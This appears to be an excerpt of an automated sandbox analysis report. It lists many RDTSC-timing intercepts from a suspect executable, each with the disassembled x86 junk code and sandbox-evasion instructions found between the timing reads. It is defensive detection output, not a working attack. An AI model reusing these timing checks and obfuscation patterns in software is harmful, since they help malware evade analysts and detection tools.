Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CF3 second address: D01D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FDF21133AC8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 or dword ptr [ebp+122D1822h], edi 0x00000028 lea ebx, dword ptr [ebp+12456906h] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FDF21133AC8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 and edi, dword ptr [ebp+122D2D00h] 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push edx 0x00000053 pop edx 0x00000054 jmp 00007FDF21133ACFh 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01E58 second address: D01F04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b ja 00007FDF21054968h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FDF21054972h 0x00000019 jc 00007FDF21054966h 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 jmp 00007FDF21054970h 0x0000002b push esi 0x0000002c jmp 00007FDF2105496Bh 0x00000031 pop esi 0x00000032 popad 0x00000033 pop eax 0x00000034 xor edi, dword ptr [ebp+122D2CBCh] 0x0000003a push 00000003h 0x0000003c mov dh, al 0x0000003e call 00007FDF21054974h 0x00000043 mov edi, dword ptr [ebp+122D2DC0h] 0x00000049 pop ecx 0x0000004a push 00000000h 0x0000004c add cx, B0B1h 0x00000051 push 00000003h 0x00000053 pushad 0x00000054 mov edi, dword ptr [ebp+122D2EABh] 0x0000005a mov al, 8Fh 0x0000005c popad 0x0000005d push E5208DECh 0x00000062 pushad 0x00000063 jno 00007FDF21054968h 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FDF21054972h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01F04 second address: D01F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D220A5 second address: D220A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEFC8 second address: CEEFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21133AD1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20A47 second address: D20A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FDF21054966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FDF21054966h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20A5B second address: D20A7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDF21133AD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f ja 00007FDF21133AC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20BCD second address: D20BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF2105496Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20BE4 second address: D20BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20BE8 second address: D20BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EBA second address: CE9EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EBE second address: CE9EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EC4 second address: CE9EE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FDF21133AC6h 0x00000009 jmp 00007FDF21133AD1h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EE3 second address: CE9EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EE9 second address: CE9EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EED second address: CE9EFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FDF21054995h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9EFF second address: CE9F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9F03 second address: CE9F1A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDF21054966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF2105496Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D217AA second address: D217B4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF21133AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D217B4 second address: D217B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D217B9 second address: D217D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF21133AC6h 0x0000000a jp 00007FDF21133AC6h 0x00000010 popad 0x00000011 push esi 0x00000012 jbe 00007FDF21133AC6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2190E second address: D2192E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2192E second address: D21942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF21133ACCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21942 second address: D21947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234CD second address: D234D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDF21133AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2766F second address: D27673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25F7D second address: D25F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26748 second address: D2674E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D0EC second address: D2D0F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnl 00007FDF21133AC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D0F8 second address: D2D0FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D26C second address: D2D272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D272 second address: D2D276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D276 second address: D2D27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F36E second address: D2F374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F374 second address: D2F38B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F38B second address: D2F38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F42A second address: D2F4B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDF21133AC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 0AAA09BCh 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FDF21133AC8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d call 00007FDF21133AC9h 0x00000032 jmp 00007FDF21133ACAh 0x00000037 push eax 0x00000038 push eax 0x00000039 push ecx 0x0000003a pushad 0x0000003b popad 0x0000003c pop ecx 0x0000003d pop eax 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 jns 00007FDF21133AD0h 0x00000048 mov eax, dword ptr [eax] 0x0000004a jnc 00007FDF21133AD4h 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FDF21133ACBh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F4B0 second address: D2F4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F4B4 second address: D2F4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F807 second address: D2F80B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F80B second address: D2F811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F811 second address: D2F817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3015F second address: D30163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30163 second address: D30167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30324 second address: D30328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30328 second address: D3032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3032E second address: D30334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30424 second address: D30428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30428 second address: D3042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D305B5 second address: D305CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054974h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D305CD second address: D305DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF21133ACAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30CA9 second address: D30CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30CAE second address: D30CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007FDF21133AD4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30CC0 second address: D30CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32603 second address: D3261F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jo 00007FDF21133AC6h 0x00000014 jnl 00007FDF21133AC6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7831 second address: CF7835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7835 second address: CF7859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FDF21133AC8h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32C42 second address: D32C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32C47 second address: D32C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDF21133AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32C51 second address: D32C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 06539695h 0x00000013 push 00000000h 0x00000015 jmp 00007FDF21054974h 0x0000001a push 00000000h 0x0000001c add dword ptr [ebp+12456934h], esi 0x00000022 push eax 0x00000023 push edi 0x00000024 pushad 0x00000025 jno 00007FDF21054966h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33D1A second address: D33D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D347B0 second address: D347E5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF21054975h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jne 00007FDF2105496Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDF2105496Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34546 second address: D34550 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF21133AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3527E second address: D35289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35D2C second address: D35D4B instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF21133AC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007FDF21133AD8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF21133ACAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D369BB second address: D369DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDF2105496Ch 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007FDF21054966h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D369DA second address: D369E4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF21133ACCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D374FC second address: D37506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FDF21054966h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A1F7 second address: D3A1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A1FD second address: D3A201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A28B second address: D3A290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C370 second address: D3C388 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jns 00007FDF21054966h 0x00000011 jno 00007FDF21054966h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C388 second address: D3C38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C38E second address: D3C392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D390 second address: D3D395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D395 second address: D3D39F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF2105496Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D39F second address: D3D3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDF21133ACEh 0x0000000d jl 00007FDF21133ACCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4121E second address: D41226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41226 second address: D4122A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4122A second address: D41239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3E7 second address: D3A3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41239 second address: D4123E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B3CF second address: D3B3E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C493 second address: D3C4B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF2105496Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E47E second address: D3E482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D404AC second address: D404B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4123E second address: D412BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FDF21133AC8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FDF21133AC8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov di, 3E30h 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007FDF21133AC8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 00000014h 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 mov edi, dword ptr [ebp+122D2E46h] 0x00000066 xchg eax, esi 0x00000067 push ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push edi 0x0000006b pop edi 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B3E5 second address: D3B470 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054977h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FDF21054968h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push dword ptr fs:[00000000h] 0x0000002f add ebx, dword ptr [ebp+122D2ABCh] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov ebx, dword ptr [ebp+122D2DF8h] 0x00000042 mov eax, dword ptr [ebp+122D09DDh] 0x00000048 mov edi, dword ptr [ebp+122D399Dh] 0x0000004e mov edi, eax 0x00000050 push FFFFFFFFh 0x00000052 or edi, 35166C00h 0x00000058 nop 0x00000059 push esi 0x0000005a js 00007FDF21054968h 0x00000060 push eax 0x00000061 pop eax 0x00000062 pop esi 0x00000063 push eax 0x00000064 je 00007FDF21054974h 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412BC second address: D412C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412C0 second address: D412D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FDF2105496Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
